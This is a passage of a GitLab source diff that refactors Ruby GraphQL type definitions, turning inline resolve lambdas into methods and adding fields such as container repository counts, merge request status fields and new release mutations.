field :title, type: GraphQL::STRING_TYPE, null: true, calls_gitaly: true,
description: 'Title of the commit message'
markdown_field :title_html, null: true
@@ -31,10 +33,7 @@ module Types
field :author_name, type: GraphQL::STRING_TYPE, null: true,
description: 'Commit authors name'
field :author_gravatar, type: GraphQL::STRING_TYPE, null: true,
- description: 'Commit authors gravatar',
- resolve: -> (commit, args, context) do
- GravatarService.new.execute(commit.author_email, 40)
- end
+ description: 'Commit authors gravatar'
# models/commit lazy loads the author by email
field :author, type: Types::UserType, null: true,
@@ -44,5 +43,9 @@ module Types
null: true,
description: 'Pipelines of the commit ordered latest first',
resolver: Resolvers::CommitPipelinesResolver
+
+ def author_gravatar
+ GravatarService.new.execute(object.author_email, 40)
+ end
end
end
diff --git a/app/graphql/types/concerns/gitlab_style_deprecations.rb b/app/graphql/types/concerns/gitlab_style_deprecations.rb
index 2c932f4214b..9f087f3812d 100644
--- a/app/graphql/types/concerns/gitlab_style_deprecations.rb
+++ b/app/graphql/types/concerns/gitlab_style_deprecations.rb
@@ -23,8 +23,8 @@ module GitlabStyleDeprecations
raise ArgumentError, '`milestone` must be a `String`' unless milestone.is_a?(String)
deprecated_in = "Deprecated in #{milestone}"
- kwargs[:deprecation_reason] = "#{reason}. #{deprecated_in}"
- kwargs[:description] += ". #{deprecated_in}: #{reason}" if kwargs[:description]
+ kwargs[:deprecation_reason] = "#{reason}. #{deprecated_in}."
+ kwargs[:description] += " #{deprecated_in}: #{reason}." if kwargs[:description]
kwargs
end
diff --git a/app/graphql/types/container_repository_type.rb b/app/graphql/types/container_repository_type.rb
index 45d19fdbc50..8735f8a173d 100644
--- a/app/graphql/types/container_repository_type.rb
+++ b/app/graphql/types/container_repository_type.rb
@@ -19,9 +19,14 @@ module Types
field :status, Types::ContainerRepositoryStatusEnum, null: true, description: 'Status of the container repository.'
field :tags_count, GraphQL::INT_TYPE, null: false, description: 'Number of tags associated with this image.'
field :can_delete, GraphQL::BOOLEAN_TYPE, null: false, description: 'Can the current user delete the container repository.'
+ field :project, Types::ProjectType, null: false, description: 'Project of the container registry'
def can_delete
Ability.allowed?(current_user, :update_container_image, object)
end
+
+ def project
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, object.project_id).find
+ end
end
end
diff --git a/app/graphql/types/design_management/design_collection_type.rb b/app/graphql/types/design_management/design_collection_type.rb
index 9af1f4db425..26fbac15b30 100644
--- a/app/graphql/types/design_management/design_collection_type.rb
+++ b/app/graphql/types/design_management/design_collection_type.rb
@@ -2,7 +2,7 @@
module Types
module DesignManagement
- class DesignCollectionType < BaseObject
+ class DesignCollectionType < ::Types::BaseObject
graphql_name 'DesignCollection'
description 'A collection of designs'
diff --git a/app/graphql/types/error_tracking/sentry_error_collection_type.rb b/app/graphql/types/error_tracking/sentry_error_collection_type.rb
index 798e0433d06..49d5d62c860 100644
--- a/app/graphql/types/error_tracking/sentry_error_collection_type.rb
+++ b/app/graphql/types/error_tracking/sentry_error_collection_type.rb
@@ -9,27 +9,12 @@ module Types
authorize :read_sentry_issue
field :errors,
- Types::ErrorTracking::SentryErrorType.connection_type,
- connection: false,
- null: true,
description: "Collection of Sentry Errors",
- extensions: [Gitlab::Graphql::Extensions::ExternallyPaginatedArrayExtension],
- resolver: Resolvers::ErrorTracking::SentryErrorsResolver do
- argument :search_term,
- String,
- description: 'Search query for the Sentry error details',
- required: false
- argument :sort,
- String,
- description: 'Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default',
- required: false
- end
- field :detailed_error, Types::ErrorTracking::SentryDetailedErrorType,
- null: true,
+ resolver: Resolvers::ErrorTracking::SentryErrorsResolver
+ field :detailed_error,
description: 'Detailed version of a Sentry error on the project',
resolver: Resolvers::ErrorTracking::SentryDetailedErrorResolver
- field :error_stack_trace, Types::ErrorTracking::SentryErrorStackTraceType,
- null: true,
+ field :error_stack_trace,
description: 'Stack Trace of Sentry Error',
resolver: Resolvers::ErrorTracking::SentryErrorStackTraceResolver
field :external_url,
diff --git a/app/graphql/types/group_invitation_type.rb b/app/graphql/types/group_invitation_type.rb
index 0372ce178ff..efb0c8a41c8 100644
--- a/app/graphql/types/group_invitation_type.rb
+++ b/app/graphql/types/group_invitation_type.rb
@@ -11,7 +11,10 @@ module Types
description 'Represents a Group Invitation'
field :group, Types::GroupType, null: true,
- description: 'Group that a User is invited to',
- resolve: -> (obj, _args, _ctx) { Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, obj.source_id).find }
+ description: 'Group that a User is invited to'
+
+ def group
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, object.source_id).find
+ end
end
end
diff --git a/app/graphql/types/group_member_relation_enum.rb b/app/graphql/types/group_member_relation_enum.rb
new file mode 100644
index 00000000000..aa2e73d4944
--- /dev/null
+++ b/app/graphql/types/group_member_relation_enum.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Types
+ class GroupMemberRelationEnum < BaseEnum
+ graphql_name 'GroupMemberRelation'
+ description 'Group member relation'
+
+ ::GroupMembersFinder::RELATIONS.each do |member_relation|
+ value member_relation.to_s.upcase, value: member_relation, description: "#{member_relation.to_s.titleize} members"
+ end
+ end
+end
diff --git a/app/graphql/types/group_member_type.rb b/app/graphql/types/group_member_type.rb
index 6cca0a50647..204da5a302a 100644
--- a/app/graphql/types/group_member_type.rb
+++ b/app/graphql/types/group_member_type.rb
@@ -11,7 +11,10 @@ module Types
description 'Represents a Group Membership'
field :group, Types::GroupType, null: true,
- description: 'Group that a User is a member of',
- resolve: -> (obj, _args, _ctx) { Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, obj.source_id).find }
+ description: 'Group that a User is a member of'
+
+ def group
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, object.source_id).find
+ end
end
end
diff --git a/app/graphql/types/group_type.rb b/app/graphql/types/group_type.rb
index fb028184488..0ee8a19c1a3 100644
--- a/app/graphql/types/group_type.rb
+++ b/app/graphql/types/group_type.rb
@@ -12,10 +12,7 @@ module Types
description: 'Web URL of the group'
field :avatar_url, GraphQL::STRING_TYPE, null: true,
- description: 'Avatar URL of the group',
- resolve: -> (group, args, ctx) do
- group.avatar_url(only_path: false)
- end
+ description: 'Avatar URL of the group'
field :custom_emoji, Types::CustomEmojiType.connection_type, null: true,
description: 'Custom emoji within this namespace',
@@ -44,8 +41,7 @@ module Types
description: 'Indicates if a group is disabled from getting mentioned'
field :parent, GroupType, null: true,
- description: 'Parent group',
- resolve: -> (obj, _args, _ctx) { Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, obj.parent_id).find }
+ description: 'Parent group'
field :issues,
Types::IssueType.connection_type,
@@ -92,10 +88,13 @@ module Types
field :container_repositories,
Types::ContainerRepositoryType.connection_type,
null: true,
- description: 'Container repositories of the project',
+ description: 'Container repositories of the group',
resolver: Resolvers::ContainerRepositoriesResolver,
authorize: :read_container_image
+ field :container_repositories_count, GraphQL::INT_TYPE, null: false,
+ description: 'Number of container repositories in the group'
+
def label(title:)
BatchLoader::GraphQL.for(title).batch(key: group) do |titles, loader, args|
LabelsFinder
@@ -120,6 +119,18 @@ module Types
.execute
end
+ def avatar_url
+ object.avatar_url(only_path: false)
+ end
+
+ def parent
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, object.parent_id).find
+ end
+
+ def container_repositories_count
+ group.container_repositories.size
+ end
+
private
def group
diff --git a/app/graphql/types/issue_type.rb b/app/graphql/types/issue_type.rb
index 49c84f75e1a..83b8a834801 100644
--- a/app/graphql/types/issue_type.rb
+++ b/app/graphql/types/issue_type.rb
@@ -61,9 +61,11 @@ module Types
field :downvotes, GraphQL::INT_TYPE, null: false,
description: 'Number of downvotes the issue has received'
field :user_notes_count, GraphQL::INT_TYPE, null: false,
- description: 'Number of user notes of the issue'
+ description: 'Number of user notes of the issue',
+ resolver: Resolvers::UserNotesCountResolver
field :user_discussions_count, GraphQL::INT_TYPE, null: false,
- description: 'Number of user discussions in the issue'
+ description: 'Number of user discussions in the issue',
+ resolver: Resolvers::UserDiscussionsCountResolver
field :web_path, GraphQL::STRING_TYPE, null: false, method: :issue_path,
description: 'Web path of the issue'
field :web_url, GraphQL::STRING_TYPE, null: false,
@@ -119,26 +121,6 @@ module Types
field :moved_to, Types::IssueType, null: true,
description: 'Updated Issue after it got moved to another project'
- def user_notes_count
- BatchLoader::GraphQL.for(object.id).batch(key: :issue_user_notes_count) do |ids, loader, args|
- counts = Note.count_for_collection(ids, 'Issue').index_by(&:noteable_id)
-
- ids.each do |id|
- loader.call(id, counts[id]&.count || 0)
- end
- end
- end
-
- def user_discussions_count
- BatchLoader::GraphQL.for(object.id).batch(key: :issue_user_discussions_count) do |ids, loader, args|
- counts = Note.count_for_collection(ids, 'Issue', 'COUNT(DISTINCT discussion_id) as count').index_by(&:noteable_id)
-
- ids.each do |id|
- loader.call(id, counts[id]&.count || 0)
- end
- end
- end
-
def author
Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.author_id).find
end
diff --git a/app/graphql/types/jira_import_type.rb b/app/graphql/types/jira_import_type.rb
index cf58a53b40d..b3854487cec 100644
--- a/app/graphql/types/jira_import_type.rb
+++ b/app/graphql/types/jira_import_type.rb
@@ -2,8 +2,7 @@
module Types
# rubocop: disable Graphql/AuthorizeTypes
- # Authorization is at project level for owners or admins,
- # so it is added directly to the Resolvers::JiraImportsResolver
+ # Authorization is at project level for owners or admins
class JiraImportType < BaseObject
graphql_name 'JiraImport'
diff --git a/app/graphql/types/jira_users_mapping_input_type.rb b/app/graphql/types/jira_users_mapping_input_type.rb
index 61cf1474493..d5b4b2f618a 100644
--- a/app/graphql/types/jira_users_mapping_input_type.rb
+++ b/app/graphql/types/jira_users_mapping_input_type.rb
@@ -8,7 +8,7 @@ module Types
argument :jira_account_id,
GraphQL::STRING_TYPE,
required: true,
- description: 'Jira account id of the user'
+ description: 'Jira account ID of the user'
argument :gitlab_id,
GraphQL::INT_TYPE,
required: false,
diff --git a/app/graphql/types/merge_request_connection_type.rb b/app/graphql/types/merge_request_connection_type.rb
new file mode 100644
index 00000000000..da06bb86929
--- /dev/null
+++ b/app/graphql/types/merge_request_connection_type.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Types
+ # rubocop: disable Graphql/AuthorizeTypes
+ class MergeRequestConnectionType < Types::CountableConnectionType
+ field :total_time_to_merge, GraphQL::FLOAT_TYPE, null: true,
+ description: 'Total sum of time to merge, in seconds, for the collection of merge requests'
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def total_time_to_merge
+ object.items.reorder(nil).total_time_to_merge
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+end
diff --git a/app/graphql/types/merge_request_type.rb b/app/graphql/types/merge_request_type.rb
index e68d6706c43..816160e58f7 100644
--- a/app/graphql/types/merge_request_type.rb
+++ b/app/graphql/types/merge_request_type.rb
@@ -4,7 +4,7 @@ module Types
class MergeRequestType < BaseObject
graphql_name 'MergeRequest'
- connection_type_class(Types::CountableConnectionType)
+ connection_type_class(Types::MergeRequestConnectionType)
implements(Types::Notes::NoteableType)
implements(Types::CurrentUserTodos)
@@ -49,6 +49,8 @@ module Types
description: 'ID of the merge request target project'
field :source_branch, GraphQL::STRING_TYPE, null: false,
description: 'Source branch of the merge request'
+ field :source_branch_protected, GraphQL::BOOLEAN_TYPE, null: false, calls_gitaly: true,
+ description: 'Indicates if the source branch is protected'
field :target_branch, GraphQL::STRING_TYPE, null: false,
description: 'Target branch of the merge request'
field :work_in_progress, GraphQL::BOOLEAN_TYPE, method: :work_in_progress?, null: false,
@@ -67,9 +69,11 @@ module Types
field :merge_commit_sha, GraphQL::STRING_TYPE, null: true,
description: 'SHA of the merge request commit (set once merged)'
field :user_notes_count, GraphQL::INT_TYPE, null: true,
- description: 'User notes count of the merge request'
+ description: 'User notes count of the merge request',
+ resolver: Resolvers::UserNotesCountResolver
field :user_discussions_count, GraphQL::INT_TYPE, null: true,
- description: 'Number of user discussions in the merge request'
+ description: 'Number of user discussions in the merge request',
+ resolver: Resolvers::UserDiscussionsCountResolver
field :should_remove_source_branch, GraphQL::BOOLEAN_TYPE, method: :should_remove_source_branch?, null: true,
description: 'Indicates if the source branch of the merge request will be deleted after merge'
field :force_remove_source_branch, GraphQL::BOOLEAN_TYPE, method: :force_remove_source_branch?, null: true,
@@ -90,6 +94,8 @@ module Types
description: 'Indicates if there is a rebase currently in progress for the merge request'
field :default_merge_commit_message, GraphQL::STRING_TYPE, null: true,
description: 'Default merge commit message of the merge request'
+ field :default_merge_commit_message_with_description, GraphQL::STRING_TYPE, null: true,
+ description: 'Default merge commit message of the merge request with description'
field :merge_ongoing, GraphQL::BOOLEAN_TYPE, method: :merge_ongoing?, null: false,
description: 'Indicates if a merge is currently occurring'
field :source_branch_exists, GraphQL::BOOLEAN_TYPE,
@@ -113,7 +119,7 @@ module Types
description: 'The pipeline running on the branch HEAD of the merge request'
field :pipelines,
null: true,
- description: 'Pipelines for the merge request',
+ description: 'Pipelines for the merge request. Note: for performance reasons, no more than the most recent 500 pipelines will be returned.',
resolver: Resolvers::MergeRequestPipelinesResolver
field :milestone, Types::MilestoneType, null: true,
@@ -130,8 +136,7 @@ module Types
description: 'Labels of the merge request'
field :discussion_locked, GraphQL::BOOLEAN_TYPE,
description: 'Indicates if comments on the merge request are locked to members only',
- null: false,
- resolve: -> (obj, _args, _ctx) { !!obj.discussion_locked }
+ null: false
field :time_estimate, GraphQL::INT_TYPE, null: false,
description: 'Time estimate of the merge request'
field :total_time_spent, GraphQL::INT_TYPE, null: false,
@@ -152,6 +157,18 @@ module Types
field :approved_by, Types::UserType.connection_type, null: true,
description: 'Users who approved the merge request'
+ field :squash_on_merge, GraphQL::BOOLEAN_TYPE, null: false, method: :squash_on_merge?,
+ description: 'Indicates if squash on merge is enabled'
+ field :available_auto_merge_strategies, [GraphQL::STRING_TYPE], null: true, calls_gitaly: true,
+ description: 'Array of available auto merge strategies'
+ field :has_ci, GraphQL::BOOLEAN_TYPE, null: false, method: :has_ci?,
+ description: 'Indicates if the merge request has CI'
+ field :mergeable, GraphQL::BOOLEAN_TYPE, null: false, method: :mergeable?, calls_gitaly: true,
+ description: 'Indicates if the merge request is mergeable'
+ field :commits_without_merge_commits, Types::CommitType.connection_type, null: true,
+ calls_gitaly: true, description: 'Merge request commits excluding merge commits'
+ field :security_auto_fix, GraphQL::BOOLEAN_TYPE, null: true,
+ description: 'Indicates if the merge request is created by @GitLab-Security-Bot.'
def approved_by
object.approved_by_users
@@ -194,6 +211,31 @@ module Types
def commit_count
object&.metrics&.commits_count
end
+
+ def source_branch_protected
+ object.source_project.present? && ProtectedBranch.protected?(object.source_project, object.source_branch)
+ end
+
+ def discussion_locked
+ !!object.discussion_locked
+ end
+
+ def default_merge_commit_message_with_description
+ object.default_merge_commit_message(include_description: true)
+ end
+
+ def available_auto_merge_strategies
+ AutoMergeService.new(object.project, current_user).available_strategies(object)
+ end
+
+ def commits_without_merge_commits
+ object.recent_commits.without_merge_commits
+ end
+
+ def security_auto_fix
+ object.author == User.security_bot
+ end
end
end
+
Types::MergeRequestType.prepend_if_ee('::EE::Types::MergeRequestType')
diff --git a/app/graphql/types/mutation_type.rb b/app/graphql/types/mutation_type.rb
index 75ccac6d590..9eea81c9d3e 100644
--- a/app/graphql/types/mutation_type.rb
+++ b/app/graphql/types/mutation_type.rb
@@ -31,6 +31,7 @@ module Types
mount_mutation Mutations::Commits::Create, calls_gitaly: true
mount_mutation Mutations::CustomEmoji::Create, feature_flag: :custom_emoji
mount_mutation Mutations::Discussions::ToggleResolve
+ mount_mutation Mutations::Environments::CanaryIngress::Update
mount_mutation Mutations::Issues::Create
mount_mutation Mutations::Issues::SetAssignees
mount_mutation Mutations::Issues::SetConfidential
@@ -65,6 +66,8 @@ module Types
mount_mutation Mutations::Notes::RepositionImageDiffNote
mount_mutation Mutations::Notes::Destroy
mount_mutation Mutations::Releases::Create
+ mount_mutation Mutations::Releases::Update
+ mount_mutation Mutations::Releases::Delete
mount_mutation Mutations::Terraform::State::Delete
mount_mutation Mutations::Terraform::State::Lock
mount_mutation Mutations::Terraform::State::Unlock
@@ -84,6 +87,7 @@ module Types
mount_mutation Mutations::DesignManagement::Move
mount_mutation Mutations::ContainerExpirationPolicies::Update
mount_mutation Mutations::ContainerRepositories::Destroy
+ mount_mutation Mutations::ContainerRepositories::DestroyTags
mount_mutation Mutations::Ci::PipelineCancel
mount_mutation Mutations::Ci::PipelineDestroy
mount_mutation Mutations::Ci::PipelineRetry
diff --git a/app/graphql/types/namespace_type.rb b/app/graphql/types/namespace_type.rb
index fbdf049b755..4dec6f4c5e6 100644
--- a/app/graphql/types/namespace_type.rb
+++ b/app/graphql/types/namespace_type.rb
@@ -21,6 +21,7 @@ module Types
field :description, GraphQL::STRING_TYPE, null: true,
description: 'Description of the namespace'
markdown_field :description_html, null: true
+
field :visibility, GraphQL::STRING_TYPE, null: true,
description: 'Visibility of the namespace'
field :lfs_enabled, GraphQL::BOOLEAN_TYPE, null: true, method: :lfs_enabled?,
@@ -30,12 +31,15 @@ module Types
field :root_storage_statistics, Types::RootStorageStatisticsType,
null: true,
- description: 'Aggregated storage statistics of the namespace. Only available for root namespaces',
- resolve: -> (obj, _args, _ctx) { Gitlab::Graphql::Loaders::BatchRootStorageStatisticsLoader.new(obj.id).find }
+ description: 'Aggregated storage statistics of the namespace. Only available for root namespaces'
field :projects, Types::ProjectType.connection_type, null: false,
description: 'Projects within this namespace',
resolver: ::Resolvers::NamespaceProjectsResolver
+
+ def root_storage_statistics
+ Gitlab::Graphql::Loaders::BatchRootStorageStatisticsLoader.new(object.id).find
+ end
end
end
diff --git a/app/graphql/types/notes/diff_position_type.rb b/app/graphql/types/notes/diff_position_type.rb
index cc00feba2e6..13d9be49484 100644
--- a/app/graphql/types/notes/diff_position_type.rb
+++ b/app/graphql/types/notes/diff_position_type.rb
@@ -21,25 +21,43 @@ module Types
# Fields for text positions
field :old_line, GraphQL::INT_TYPE, null: true,
- description: 'Line on start SHA that was changed',
- resolve: -> (position, _args, _ctx) { position.old_line if position.on_text? }
+ description: 'Line on start SHA that was changed'
field :new_line, GraphQL::INT_TYPE, null: true,
- description: 'Line on HEAD SHA that was changed',
- resolve: -> (position, _args, _ctx) { position.new_line if position.on_text? }
+ description: 'Line on HEAD SHA that was changed'
# Fields for image positions
field :x, GraphQL::INT_TYPE, null: true,
- description: 'X position of the note',
- resolve: -> (position, _args, _ctx) { position.x if position.on_image? }
+ description: 'X position of the note'
field :y, GraphQL::INT_TYPE, null: true,
- description: 'Y position of the note',
- resolve: -> (position, _args, _ctx) { position.y if position.on_image? }
+ description: 'Y position of the note'
field :width, GraphQL::INT_TYPE, null: true,
- description: 'Total width of the image',
- resolve: -> (position, _args, _ctx) { position.width if position.on_image? }
+ description: 'Total width of the image'
field :height, GraphQL::INT_TYPE, null: true,
- description: 'Total height of the image',
- resolve: -> (position, _args, _ctx) { position.height if position.on_image? }
+ description: 'Total height of the image'
+
+ def old_line
+ object.old_line if object.on_text?
+ end
+
+ def new_line
+ object.new_line if object.on_text?
+ end
+
+ def x
+ object.x if object.on_image?
+ end
+
+ def y
+ object.y if object.on_image?
+ end
+
+ def width
+ object.width if object.on_image?
+ end
+
+ def height
+ object.height if object.on_image?
+ end
end
# rubocop: enable Graphql/AuthorizeTypes
end
diff --git a/app/graphql/types/notes/note_type.rb b/app/graphql/types/notes/note_type.rb
index 5d41f0032bd..f4e05e19eca 100644
--- a/app/graphql/types/notes/note_type.rb
+++ b/app/graphql/types/notes/note_type.rb
@@ -16,13 +16,11 @@ module Types
field :project, Types::ProjectType,
null: true,
- description: 'Project associated with the note',
- resolve: -> (note, args, context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, note.project_id).find }
+ description: 'Project associated with the note'
field :author, Types::UserType,
null: false,
- description: 'User who wrote this note',
- resolve: -> (note, args, context) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, note.author_id).find }
+ description: 'User who wrote this note'
field :system, GraphQL::BOOLEAN_TYPE,
null: false,
@@ -52,6 +50,14 @@ module Types
def system_note_icon_name
SystemNoteHelper.system_note_icon_name(object) if object.system?
end
+
+ def project
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, object.project_id).find
+ end
+
+ def author
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.author_id).find
+ end
end
end
end
diff --git a/app/graphql/types/permission_types/merge_request.rb b/app/graphql/types/permission_types/merge_request.rb
index e9c89b0c92e..52c11fe5588 100644
--- a/app/graphql/types/permission_types/merge_request.rb
+++ b/app/graphql/types/permission_types/merge_request.rb
@@ -19,7 +19,9 @@ module Types
permission_field field_name, method: :"can_#{field_name}?", calls_gitaly: true
end
- permission_field :can_merge, calls_gitaly: true, resolve: -> (object, args, context) do
+ permission_field :can_merge, calls_gitaly: true
+
+ def can_merge
object.can_be_merged_by?(context[:current_user])
end
end
diff --git a/app/graphql/types/project_member_relation_enum.rb b/app/graphql/types/project_member_relation_enum.rb
new file mode 100644
index 00000000000..fbad23b956f
--- /dev/null
+++ b/app/graphql/types/project_member_relation_enum.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Types
+ class ProjectMemberRelationEnum < BaseEnum
+ graphql_name 'ProjectMemberRelation'
+ description 'Project member relation'
+
+ ::MembersFinder::RELATIONS.each do |member_relation|
+ value member_relation.to_s.upcase, value: member_relation, description: "#{member_relation.to_s.titleize} members"
+ end
+ end
+end
diff --git a/app/graphql/types/project_type.rb b/app/graphql/types/project_type.rb
index 5a436886117..a7d9548610e 100644
--- a/app/graphql/types/project_type.rb
+++ b/app/graphql/types/project_type.rb
@@ -67,33 +67,25 @@ module Types
description: 'E-mail address of the service desk.'
field :avatar_url, GraphQL::STRING_TYPE, null: true, calls_gitaly: true,
- description: 'URL to avatar image file of the project',
- resolve: -> (project, args, ctx) do
- project.avatar_url(only_path: false)
- end
+ description: 'URL to avatar image file of the project'
%i[issues merge_requests wiki snippets].each do |feature|
field "#{feature}_enabled", GraphQL::BOOLEAN_TYPE, null: true,
- description: "Indicates if #{feature.to_s.titleize.pluralize} are enabled for the current user",
- resolve: -> (project, args, ctx) do
- project.feature_available?(feature, ctx[:current_user])
- end
+ description: "Indicates if #{feature.to_s.titleize.pluralize} are enabled for the current user"
+
+ define_method "#{feature}_enabled" do
+ object.feature_available?(feature, context[:current_user])
+ end
end
field :jobs_enabled, GraphQL::BOOLEAN_TYPE, null: true,
- description: 'Indicates if CI/CD pipeline jobs are enabled for the current user',
- resolve: -> (project, args, ctx) do
- project.feature_available?(:builds, ctx[:current_user])
- end
+ description: 'Indicates if CI/CD pipeline jobs are enabled for the current user'
field :public_jobs, GraphQL::BOOLEAN_TYPE, method: :public_builds, null: true,
description: 'Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts'
field :open_issues_count, GraphQL::INT_TYPE, null: true,
- description: 'Number of open issues for the project',
- resolve: -> (project, args, ctx) do
- project.open_issues_count if project.feature_available?(:issues, ctx[:current_user])
- end
+ description: 'Number of open issues for the project'
field :import_status, GraphQL::STRING_TYPE, null: true,
description: 'Status of import background job of the project'
@@ -115,6 +107,8 @@ module Types
description: 'Indicates if issues referenced by merge requests and commits within the default branch are closed automatically'
field :suggestion_commit_message, GraphQL::STRING_TYPE, null: true,
description: 'The commit message used to apply merge request suggestions'
+ field :squash_read_only, GraphQL::BOOLEAN_TYPE, null: false, method: :squash_readonly?,
+ description: 'Indicates if squash readonly is enabled'
field :namespace, Types::NamespaceType, null: true,
description: 'Namespace of the project'
@@ -123,8 +117,7 @@ module Types
field :statistics, Types::ProjectStatisticsType,
null: true,
- description: 'Statistics of the project',
- resolve: -> (obj, _args, _ctx) { Gitlab::Graphql::Loaders::BatchProjectStatisticsLoader.new(obj.id).find }
+ description: 'Statistics of the project'
field :repository, Types::RepositoryType, null: true,
description: 'Git repository of the project'
@@ -198,6 +191,11 @@ module Types
description: 'Build pipeline of the project',
resolver: Resolvers::ProjectPipelineResolver
+ field :ci_cd_settings,
+ Types::Ci::CiCdSettingType,
+ null: true,
+ description: 'CI/CD settings for the project'
+
field :sentry_detailed_error,
Types::ErrorTracking::SentryDetailedErrorType,
null: true,
@@ -238,8 +236,7 @@ module Types
field :jira_imports,
Types::JiraImportType.connection_type,
null: true,
- description: 'Jira imports into the project',
- resolver: Resolvers::Projects::JiraImportsResolver
+ description: 'Jira imports into the project'
field :services,
Types::Projects::ServiceType.connection_type,
@@ -296,6 +293,9 @@ module Types
description: 'Container repositories of the project',
resolver: Resolvers::ContainerRepositoriesResolver
+ field :container_repositories_count, GraphQL::INT_TYPE, null: false,
+ description: 'Number of container repositories in the project'
+
field :label,
Types::LabelType,
null: true,
@@ -311,6 +311,13 @@ module Types
description: 'Terraform states associated with the project',
resolver: Resolvers::Terraform::StatesResolver
+ field :pipeline_analytics, Types::Ci::AnalyticsType, null: true,
+ description: 'Pipeline analytics',
+ resolver: Resolvers::ProjectPipelineStatisticsResolver
+
+ field :total_pipeline_duration, GraphQL::INT_TYPE, null: true,
+ description: 'Total pipeline duration for all of the pipelines in a project'
+
def label(title:)
BatchLoader::GraphQL.for(title).batch(key: project) do |titles, loader, args|
LabelsFinder
@@ -335,6 +342,30 @@ module Types
.execute
end
+ def avatar_url
+ object.avatar_url(only_path: false)
+ end
+
+ def jobs_enabled
+ object.feature_available?(:builds, context[:current_user])
+ end
+
+ def open_issues_count
+ object.open_issues_count if object.feature_available?(:issues, context[:current_user])
+ end
+
+ def statistics
+ Gitlab::Graphql::Loaders::BatchProjectStatisticsLoader.new(object.id).find
+ end
+
+ def container_repositories_count
+ project.container_repositories.size
+ end
+
+ def total_pipeline_duration
+ object.all_pipelines.total_duration
+ end
+
private
def project
diff --git a/app/graphql/types/query_type.rb b/app/graphql/types/query_type.rb
index d194b0979b3..05bb371088c 100644
--- a/app/graphql/types/query_type.rb
+++ b/app/graphql/types/query_type.rb
@@ -24,7 +24,6 @@ module Types
field :current_user, Types::UserType,
null: true,
- resolve: -> (_obj, _args, context) { context[:current_user] },
description: "Get information about current user"
field :namespace, Types::NamespaceType,
@@ -92,6 +91,11 @@ module Types
description: 'Get runner setup instructions',
resolver: Resolvers::Ci::RunnerSetupResolver
+ field :ci_config, Types::Ci::Config::ConfigType, null: true,
+ description: 'Get linted and processed contents of a CI config. Should not be requested more than once per request.',
+ resolver: Resolvers::Ci::ConfigResolver,
+ complexity: 126 # AUTHENTICATED_COMPLEXITY / 2 + 1
+
def design_management
DesignManagementObject.new(nil)
end
@@ -116,6 +120,10 @@ module Types
id = ::Types::GlobalIDType[::ContainerRepository].coerce_isolated_input(id)
GitlabSchema.find_by_gid(id)
end
+
+ def current_user
+ context[:current_user]
+ end
end
end
diff --git a/app/graphql/types/snippets/blob_viewer_type.rb b/app/graphql/types/snippets/blob_viewer_type.rb
index 50d0b0522d6..a2ffa144066 100644
--- a/app/graphql/types/snippets/blob_viewer_type.rb
+++ b/app/graphql/types/snippets/blob_viewer_type.rb
@@ -17,14 +17,12 @@ module Types
field :collapsed, GraphQL::BOOLEAN_TYPE,
description: 'Shows whether the blob should be displayed collapsed',
method: :collapsed?,
- null: false,
- resolve: -> (viewer, _args, _ctx) { !!viewer&.collapsed? }
+ null: false
field :too_large, GraphQL::BOOLEAN_TYPE,
description: 'Shows whether the blob too large to be displayed',
method: :too_large?,
- null: false,
- resolve: -> (viewer, _args, _ctx) { !!viewer&.too_large? }
+ null: false
field :render_error, GraphQL::STRING_TYPE,
description: 'Error rendering the blob content',
@@ -38,6 +36,14 @@ module Types
field :loading_partial_name, GraphQL::STRING_TYPE,
description: 'Loading partial name',
null: false
+
+ def collapsed
+ !!object&.collapsed?
+ end
+
+ def too_large
+ !!object&.too_large?
+ end
end
end
end
diff --git a/app/graphql/types/sort_enum.rb b/app/graphql/types/sort_enum.rb
index d0a6eecb672..c3a76330fe9 100644
--- a/app/graphql/types/sort_enum.rb
+++ b/app/graphql/types/sort_enum.rb
@@ -7,10 +7,10 @@ module Types
# Deprecated, as we prefer uppercase enums
# https://gitlab.com/groups/gitlab-org/-/epics/1838
- value 'updated_desc', 'Updated at descending order', deprecated: { reason: 'Use UPDATED_DESC', milestone: '13.5' }
- value 'updated_asc', 'Updated at ascending order', deprecated: { reason: 'Use UPDATED_ASC', milestone: '13.5' }
- value 'created_desc', 'Created at descending order', deprecated: { reason: 'Use CREATED_DESC', milestone: '13.5' }
- value 'created_asc', 'Created at ascending order', deprecated: { reason: 'Use CREATED_ASC', milestone: '13.5' }
+ value 'updated_desc', 'Updated at descending order', value: :updated_desc, deprecated: { reason: 'Use UPDATED_DESC', milestone: '13.5' }
+ value 'updated_asc', 'Updated at ascending order', value: :updated_asc, deprecated: { reason: 'Use UPDATED_ASC', milestone: '13.5' }
+ value 'created_desc', 'Created at descending order', value: :created_desc, deprecated: { reason: 'Use CREATED_DESC', milestone: '13.5' }
+ value 'created_asc', 'Created at ascending order', value: :created_asc, deprecated: { reason: 'Use CREATED_ASC', milestone: '13.5' }
value 'UPDATED_DESC', 'Updated at descending order', value: :updated_desc
value 'UPDATED_ASC', 'Updated at ascending order', value: :updated_asc
diff --git a/app/graphql/types/terraform/state_type.rb b/app/graphql/types/terraform/state_type.rb
index 05b6d130f19..d97e673bf31 100644
--- a/app/graphql/types/terraform/state_type.rb
+++ b/app/graphql/types/terraform/state_type.rb
@@ -19,9 +19,7 @@ module Types
field :locked_by_user, Types::UserType,
null: true,
- authorize: :read_user,
- description: 'The user currently holding a lock on the Terraform state',
- resolve: -> (state, _, _) { Gitlab::Graphql::Loaders::BatchModelLoader.new(User, state.locked_by_user_id).find }
